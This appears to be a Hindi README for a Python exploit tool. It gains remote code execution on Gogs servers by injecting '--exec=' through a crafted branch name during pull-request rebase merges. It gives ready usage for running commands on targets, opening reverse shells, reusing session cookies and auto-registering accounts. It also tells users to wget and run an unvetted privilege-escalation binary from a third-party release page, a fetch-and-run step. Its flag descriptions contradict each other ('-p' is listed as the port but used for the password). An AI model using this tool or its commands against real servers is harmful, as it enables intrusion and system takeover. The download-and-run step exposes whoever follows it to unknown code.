
git rebase में तर्क इंजेक्शन के माध्यम से Gogs RCE (CWE-88) — Python PoC। CVE-2026-52806
git rebase में आर्गुमेंट इंजेक्शन (CWE-88)पुल रिक्वेस्ट मर्ज फ्लो में आर्गुमेंट इंजेक्शन के माध्यम से Gogs (<= 0.14.2 और 0.15.0+dev) के विरुद्ध प्रमाणित रिमोट कोड निष्पादन।
CVE-2026-52806
internal/database/pull.go में Merge() फ़ंक्शन PR बेस ब्रांच का नाम git rebase को -- सेपरेटर के बिना पास करता है। --exec=<COMMAND> नामक एक ब्रांच को Git द्वारा --exec फ़्लैग के रूप में पार्स किया जाता है, न कि पोज़ीशनल आर्गुमेंट के रूप में, जिससे रीबेस के दौरान प्रत्येक रीप्ले किए गए कमिट के बाद sh -c <COMMAND> चलता है।
?v= पैरामीटर के माध्यम से वर्ज़न का फ़िंगरप्रिंट लेता है, और जाँचता है कि उपयोगकर्ता पंजीकरण खुला है, कैप्चा-संरक्षित है, या अक्षम है।-u <username> -pw <password> के साथ पुनः चलाने के लिए कहता है। बेसिक Auth या वेब सेटिंग्स पेज के माध्यम से एक API टोकन बनाता है।master ब्रांचfeature-* ब्रांच--exec=sh${IFS}.payload है, जिसमें एक स्क्रिप्ट है जो बैकग्राउंड में हमलावर के कमांड को चलाती है--exec= ब्रांच में एक PR खोलता है।merge_style=rebase_before_merging के साथ मर्ज एंडपॉइंट पर POST करता है। Gogs आंतरिक रूप से git rebase --exec=sh${IFS}.payload चलाता है, जो प्रत्येक रीप्ले किए गए कमिट के बाद पेलोड को निष्पादित करता है।requests (pip install requests)git इंस्टॉलेशनpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
रिपोर्ट:
Registration: ENABLED (no captcha) — ऑटो-रजिस्टर कर सकता हैRegistration: ENABLED (CAPTCHA DETECTED) — लक्ष्य के साइनअप पेज पर मैन्युअल रूप से एक खाता बनाएँ, फिर -u / -pw के साथ क्रेडेंशियल प्रदान करेंRegistration: DISABLED — किसी व्यवस्थापक से मौजूदा क्रेडेंशियल की आवश्यकता है# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
एक बार जब आपके पास लक्ष्य पर शेल हो, तो Gogs प्रक्रिया आमतौर पर कम-विशेषाधिकार वाले उपयोगकर्ता (जैसे Docker में git) के रूप में चलती है। रूट तक विशेषाधिकार वृद्धि का प्रयास करने के लिए, प्रोजेक्ट के रिलीज़ पेज से lpe-toolkit बाइनरी डाउनलोड करें और चलाएँ:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
टूलकिट कर्नेल एक्सप्लॉइट्स, गलत कॉन्फ़िगरेशन और अन्य सामान्य एस्केलेशन वेक्टर की गणना करता है।
exploit/multi/http/gogs_rebase_rce (PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)यह Python PoC जारी किए गए Metasploit मॉड्यूल से प्रेरित है। इस भेद्यता की खोज और जिम्मेदारीपूर्वक प्रकटीकरण Jonah Burgess (CryptoCat) ने Rapid7 में किया।
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
Gogs API टोकन विलोपन का समर्थन नहीं करता है, इसलिए एक्सप्लॉइटेशन के दौरान बनाए गए किसी भी API एक्सेस टोकन बने रहेंगे और लक्ष्य इंस्टेंस पर /user/settings/applications पर मैन्युअल रूप से हटाए जाने चाहिए।
| फ़्लैग | विवरण |
|---|
target | होस्ट[:पोर्ट] (जैसे 47.109.58.140:9000) |
-p, --port | HTTP पोर्ट (डिफ़ॉल्ट: 3000) |
-u, --username | Gogs उपयोगकर्ता नाम |
-pw, --password | Gogs पासवर्ड |
--cookie | सत्र कुकी स्ट्रिंग |
--cmd | लक्ष्य पर निष्पादित करने का कमांड |
--listener | रिवर्स शेल host:port |
--lhost / --lport | रिवर्स शेल होस्ट और पोर्ट |
--ssl | HTTPS का उपयोग करें |
--preflight-only | केवल प्री-फ़्लाइट जाँच चलाएँ |